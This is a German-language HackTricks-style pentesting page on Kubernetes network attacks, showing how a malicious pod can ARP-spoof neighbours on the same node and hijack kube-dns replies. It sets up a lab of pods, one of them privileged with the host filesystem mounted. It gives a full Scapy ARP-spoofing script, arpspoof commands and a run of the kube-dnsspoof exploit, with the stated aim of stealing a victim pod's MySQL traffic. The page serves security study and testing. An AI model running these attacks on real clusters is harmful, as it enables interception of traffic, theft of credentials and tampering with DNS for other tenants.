# Kubernetes Netzwerkangriffe {{#include ../../banners/hacktricks-training.md}} ## Einführung In Kubernetes wird beobachtet, dass ein Standardverhalten die Herstellung von Verbindungen zwischen **allen Containern, die sich auf demselben Knoten befinden**, erlaubt. Dies gilt unabhängig von den Namensraumunterschieden. Diese Konnektivität erstreckt sich bis zu **Layer 2** (Ethernet). Folglich könnte diese Konfiguration das System potenziell Schwachstellen aussetzen. Insbesondere eröffnet sie die Möglichkeit, dass ein **bösartiger Container** einen **ARP-Spoofing-Angriff** gegen andere Container, die sich auf demselben Knoten befinden, ausführt. Während eines solchen Angriffs kann der bösartige Container betrügerisch den Netzwerkverkehr abfangen oder ändern, der für andere Container bestimmt ist. ARP-Spoofing-Angriffe beinhalten, dass der **Angreifer gefälschte ARP** (Address Resolution Protocol) Nachrichten über ein lokales Netzwerk sendet. Dies führt dazu, dass die **MAC-Adresse des Angreifers mit der IP-Adresse eines legitimen Computers oder Servers im Netzwerk verknüpft wird**. Nach erfolgreicher Ausführung eines solchen Angriffs kann der Angreifer Daten im Transit abfangen, ändern oder sogar stoppen. Der Angriff wird auf Layer 2 des OSI-Modells ausgeführt, weshalb die standardmäßige Konnektivität in Kubernetes auf dieser Ebene Sicherheitsbedenken aufwirft. In dem Szenario werden 4 Maschinen erstellt: - ubuntu-pe: Privilegierte Maschine, um zum Knoten zu entkommen und Metriken zu überprüfen (nicht für den Angriff benötigt) - **ubuntu-attack**: **Bösartiger** Container im Standard-Namensraum - **ubuntu-victim**: **Opfer** Maschine im kube-system Namensraum - **mysql**: **Opfer** Maschine im Standard-Namensraum ```yaml echo 'apiVersion: v1 kind: Pod metadata: name: ubuntu-pe spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-pe securityContext: allowPrivilegeEscalation: true privileged: true runAsUser: 0 volumeMounts: - mountPath: /host name: host-volume restartPolicy: Never hostIPC: true hostNetwork: true hostPID: true volumes: - name: host-volume hostPath: path: / --- apiVersion: v1 kind: Pod metadata: name: ubuntu-attack labels: app: ubuntu spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-attack restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: ubuntu-victim namespace: kube-system spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-victim restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: mysql spec: containers: - image: mysql:5.6 ports: - containerPort: 3306 imagePullPolicy: IfNotPresent name: mysql env: - name: MYSQL_ROOT_PASSWORD value: mysql restartPolicy: Never' | kubectl apply -f - ``` ```bash kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash" kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` ## Grundlegende Kubernetes-Netzwerk Wenn Sie mehr Details zu den hier eingeführten Netzwerkthemen wünschen, gehen Sie zu den Referenzen. ### ARP Allgemein gesagt, ist **Pod-zu-Pod-Netzwerk innerhalb des Knotens** über eine **Brücke** verfügbar, die alle Pods verbindet. Diese Brücke wird „**cbr0**“ genannt. (Einige Netzwerk-Plugins installieren ihre eigene Brücke.) Die **cbr0 kann auch ARP** (Address Resolution Protocol) Auflösung durchführen. Wenn ein eingehendes Paket bei cbr0 ankommt, kann es die Ziel-MAC-Adresse mithilfe von ARP auflösen. Diese Tatsache impliziert, dass standardmäßig **jeder Pod, der im selben Knoten läuft**, in der Lage sein wird, mit jedem anderen Pod im selben Knoten (unabhängig vom Namespace) auf Ethernet-Ebene (Schicht 2) zu **kommunizieren**. > [!WARNING] > Daher ist es möglich, A**RP Spoofing-Angriffe zwischen Pods im selben Knoten durchzuführen.** ### DNS In Kubernetes-Umgebungen finden Sie normalerweise 1 (oder mehr) **DNS-Dienste, die** normalerweise im kube-system-Namespace ausgeführt werden: ```bash kubectl -n kube-system describe services Name: kube-dns Namespace: kube-system Labels: k8s-app=kube-dns kubernetes.io/cluster-service=true kubernetes.io/name=KubeDNS Annotations: prometheus.io/port: 9153 prometheus.io/scrape: true Selector: k8s-app=kube-dns Type: ClusterIP IP Families: IP: 10.96.0.10 IPs: 10.96.0.10 Port: dns 53/UDP TargetPort: 53/UDP Endpoints: 172.17.0.2:53 Port: dns-tcp 53/TCP TargetPort: 53/TCP Endpoints: 172.17.0.2:53 Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` In den vorherigen Informationen können Sie etwas Interessantes sehen, die **IP des Dienstes** ist **10.96.0.10**, aber die **IP des Pods**, der den Dienst ausführt, ist **172.17.0.2.** Wenn Sie die DNS-Adresse innerhalb eines Pods überprüfen, werden Sie etwas wie folgt finden: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` Der Pod **weiß jedoch nicht**, wie er zu dieser **Adresse** gelangt, da der **Pod-Bereich** in diesem Fall 172.17.0.10/26 ist. Daher wird der Pod die **DNS-Anfragen an die Adresse 10.96.0.10** senden, die von cbr0 **in** **172.17.0.2** **übersetzt** wird. > [!WARNING] > Das bedeutet, dass eine **DNS-Anfrage** eines Pods **immer** zur **Brücke** gehen wird, um die **Service-IP in die Endpunkt-IP zu übersetzen**, selbst wenn der DNS-Server im selben Subnetz wie der Pod ist. > > In Anbetracht dessen und der Tatsache, dass **ARP-Angriffe möglich sind**, wird ein **Pod** in einem Knoten in der Lage sein, den **Verkehr** zwischen **jedem Pod** im **Subnetz** und der **Brücke** zu **überwachen** und die **DNS-Antworten** vom DNS-Server (**DNS Spoofing**) zu **modifizieren**. > > Darüber hinaus kann der Angreifer, wenn der **DNS-Server** im **gleichen Knoten wie der Angreifer** ist, **alle DNS-Anfragen** eines Pods im Cluster (zwischen dem DNS-Server und der Brücke) **abfangen** und die Antworten **modifizieren**. ## ARP Spoofing in Pods im gleichen Knoten Unser Ziel ist es, die Kommunikation von der ubuntu-victim zu dem mysql **zu stehlen**. ### Scapy ```bash python3 /tmp/arp_spoof.py Enter Target IP:172.17.0.10 #ubuntu-victim Enter Gateway IP:172.17.0.9 #mysql Target MAC 02:42:ac:11:00:0a Gateway MAC: 02:42:ac:11:00:09 Sending spoofed ARP responses # Get another shell kubectl exec -it ubuntu-attack -- bash ngrep -d eth0 # Login from ubuntu-victim and mysql and check the unencrypted communication # interacting with the mysql instance ``` ```python:arp_spoof.py #From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py from scapy.all import * def getmac(targetip): arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip) targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc return targetmac def spoofarpcache(targetip, targetmac, sourceip): spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac) send(spoofed, verbose= False) def restorearp(targetip, targetmac, sourceip, sourcemac): packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip) send(packet, verbose=False) print("ARP Table restored to normal for", targetip) def main(): targetip= input("Enter Target IP:") gatewayip= input("Enter Gateway IP:") try: targetmac= getmac(targetip) print("Target MAC", targetmac) except: print("Target machine did not respond to ARP broadcast") quit() try: gatewaymac= getmac(gatewayip) print("Gateway MAC:", gatewaymac) except: print("Gateway is unreachable") quit() try: print("Sending spoofed ARP responses") while True: spoofarpcache(targetip, targetmac, gatewayip) spoofarpcache(gatewayip, gatewaymac, targetip) except KeyboardInterrupt: print("ARP spoofing stopped") restorearp(gatewayip, gatewaymac, targetip, targetmac) restorearp(targetip, targetmac, gatewayip, gatewaymac) quit() if __name__=="__main__": main() # To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward ``` ### ARPSpoof ```bash apt install dsniff arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing Wie bereits erwähnt, wenn Sie **einen Pod im selben Knoten des DNS-Server-Pods kompromittieren**, können Sie **MitM** mit **ARPSpoofing** die **Bridge und den DNS**-Pod **manipulieren** und **alle DNS-Antworten** **ändern**. Sie haben ein wirklich schönes **Tool** und **Tutorial**, um dies zu testen in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) In unserem Szenario, **laden** Sie das **Tool** im Angreifer-Pod herunter und erstellen Sie eine \*\*Datei mit dem Namen `hosts` \*\* mit den **Domains**, die Sie **spoofen** möchten, wie: ``` cat hosts google.com. 1.1.1.1 ``` Führen Sie den Angriff auf die ubuntu-victim-Maschine durch: ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 Bridge: 172.17.0.1 02:42:bd:63:07:8d Kube-dns: 172.17.0.2 02:42:ac:11:00:02 [+] Taking over DNS requests from kube-dns. press Ctrl+C to stop ``` ```bash #In the ubuntu machine dig google.com [...] ;; ANSWER SECTION: google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] > Wenn Sie versuchen, Ihr eigenes DNS-Spoofing-Skript zu erstellen, wird es **nicht funktionieren**, wenn Sie **nur die DNS-Antwort ändern**, da die **Antwort** eine **src IP** die IP-Adresse des **bösartigen** **Pods** haben wird und **nicht** **akzeptiert** wird.\ > Sie müssen ein **neues DNS-Paket** mit der **src IP** des **DNS** generieren, an den der Opfer die DNS-Anfrage sendet (was etwa 172.16.0.2 ist, nicht 10.96.0.10, das ist die K8s DNS-Service-IP und nicht die IP des DNS-Servers, mehr dazu in der Einleitung). ## Capturing Traffic Das Tool [**Mizu**](https://github.com/up9inc/mizu) ist ein einfaches, aber leistungsstarkes API **Traffic Viewer für Kubernetes**, das es Ihnen ermöglicht, **alle API-Kommunikationen** zwischen Mikrodiensten zu **sehen**, um Ihnen beim Debuggen und Beheben von Regressionen zu helfen.\ Es wird Agenten in den ausgewählten Pods installieren und deren Verkehrsinfos sammeln und Ihnen in einem Webserver anzeigen. Sie benötigen jedoch hohe K8s-Berechtigungen dafür (und es ist nicht sehr stealthy). ## References - [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1) - [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters) {{#include ../../banners/hacktricks-training.md}}